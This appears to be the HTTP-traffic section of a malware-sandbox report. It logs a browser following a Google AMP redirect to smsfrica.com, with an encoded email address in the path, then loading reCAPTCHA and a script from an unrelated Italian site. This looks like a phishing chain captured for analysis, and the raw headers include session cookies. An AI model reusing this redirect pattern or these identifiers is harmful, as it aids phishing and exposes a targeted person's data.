Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/userverify?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==?google_abuse=GOOGLE_ABUSE_EXEMPTION%3DID%3Db066e27afb9bd585:TM%3D1710507518:C%3Dr:IP%3D191.96.227.194-:S%3DnHgvxESG7bS6D2rmcJa9xwc%3B+path%3D/%3B+domain%3Dgoogle.com%3B+expires%3DFri,+15-Mar-2024+15:58:38+GMT HTTP/1.1Host: google.co.zaConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-03-15-12; NID=512=Y_N7SdjJORoaeU0RFGFXFZ3USiatxfWXO_2ps4EVsRLkZdsW9tB8v5rcSuIz7Z3M5HWvhOUcKSsu8SgVLyzmDpUVITXdWay8t5b7BhLrthO-zhehVzUqg9Qo8aiEmRdYzdrA57ZtJ5zcuQ1e4ECEV3WIQR7wKu0gWTJUpP_JHko
Source: global traffic	HTTP traffic detected: GET /amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1Host: google.co.zaConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-03-15-12; NID=512=Y_N7SdjJORoaeU0RFGFXFZ3USiatxfWXO_2ps4EVsRLkZdsW9tB8v5rcSuIz7Z3M5HWvhOUcKSsu8SgVLyzmDpUVITXdWay8t5b7BhLrthO-zhehVzUqg9Qo8aiEmRdYzdrA57ZtJ5zcuQ1e4ECEV3WIQR7wKu0gWTJUpP_JHko; GOOGLE_ABUSE_EXEMPTION=ID=b066e27afb9bd585:TM=1710507518:C=r:IP=191.96.227.194-:S=nHgvxESG7bS6D2rmcJa9xwc
Source: global traffic	HTTP traffic detected: GET /amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1Host: www.google.co.zaConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 1P_JAR=2024-03-15-12; NID=512=Y_N7SdjJORoaeU0RFGFXFZ3USiatxfWXO_2ps4EVsRLkZdsW9tB8v5rcSuIz7Z3M5HWvhOUcKSsu8SgVLyzmDpUVITXdWay8t5b7BhLrthO-zhehVzUqg9Qo8aiEmRdYzdrA57ZtJ5zcuQ1e4ECEV3WIQR7wKu0gWTJUpP_JHko; GOOGLE_ABUSE_EXEMPTION=ID=b066e27afb9bd585:TM=1710507518:C=r:IP=191.96.227.194-:S=nHgvxESG7bS6D2rmcJa9xwc
Source: global traffic	HTTP traffic detected: GET /QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1Host: smsfrica.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-sys/js/simple-expand.min.js HTTP/1.1Host: smsfrica.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-sys/images/f.png HTTP/1.1Host: smsfrica.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-sys/images/404top_w.jpg HTTP/1.1Host: smsfrica.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-sys/images/404mid.gif HTTP/1.1Host: smsfrica.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-sys/images/404bottom.gif HTTP/1.1Host: smsfrica.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-sys/images/f.png HTTP/1.1Host: smsfrica.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-sys/images/404top_w.jpg HTTP/1.1Host: smsfrica.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-sys/images/404mid.gif HTTP/1.1Host: smsfrica.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cgi-sys/images/404bottom.gif HTTP/1.1Host: smsfrica.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: smsfrica.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== HTTP/1.1Host: smsfrica.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://smsfrica.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /read1.js HTTP/1.1Host: www.rubinoviaggi.itConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://smsfrica.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/anchor?ar=1&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O&co=aHR0cHM6Ly9zbXNmcmljYS5jb206NDQz&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&cb=um8bxu9180ki HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://smsfrica.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/webworker.js?hl=en&v=07g0mpPGukTo20VqKa8GbTSw HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O&co=aHR0cHM6Ly9zbXNmcmljYS5jb206NDQz&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&cb=um8bxu9180kiAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /js/bg/aczUY4RjooCOJhduSGOgZIptSUq0McxgcoTPQeOupCI.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O&co=aHR0cHM6Ly9zbXNmcmljYS5jb206NDQz&hl=en&v=07g0mpPGukTo20VqKa8GbTSw&size=normal&cb=um8bxu9180kiAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://smsfrica.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://smsfrica.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/reload?k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA6bpWX7EoDSCuQQjjfWgzYm2qyPyPtK9SS20AGsd9OFxYuZvTlO2YBcs3WibgSXK4kXO6mbBXXCJRv9z_ZMysU785wIg113YrS63lByrsotaBadvsp3lULZyXlO75kENPEYazKmt6pl_yb1Ajk-4o3i_F50V7-1qSubrHrkv5d70EgrQYKGsmPZzKro6D6WCypm5-jR&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25OAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
Source: global traffic	HTTP traffic detected: GET /recaptcha/api2/payload?p=06AFcWeA6bpWX7EoDSCuQQjjfWgzYm2qyPyPtK9SS20AGsd9OFxYuZvTlO2YBcs3WibgSXK4kXO6mbBXXCJRv9z_ZMysU785wIg113YrS63lByrsotaBadvsp3lULZyXlO75kENPEYazKmt6pl_yb1Ajk-4o3i_F50V7-1qSubrHrkv5d70EgrQYKGsmPZzKro6D6WCypm5-jR&k=6LclM5YpAAAAAFnC69EsWG7FflI4Kt9S0YEMI25O HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _GRECAPTCHA=09ANeNL0QmT5A5rIk26zNKYvWgMkqWcFi5YHZkNrRn8sYWbB8W0aEQg9DJpuTWJzWL0rtjM4FfO4nkXefuxCTqfiM; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
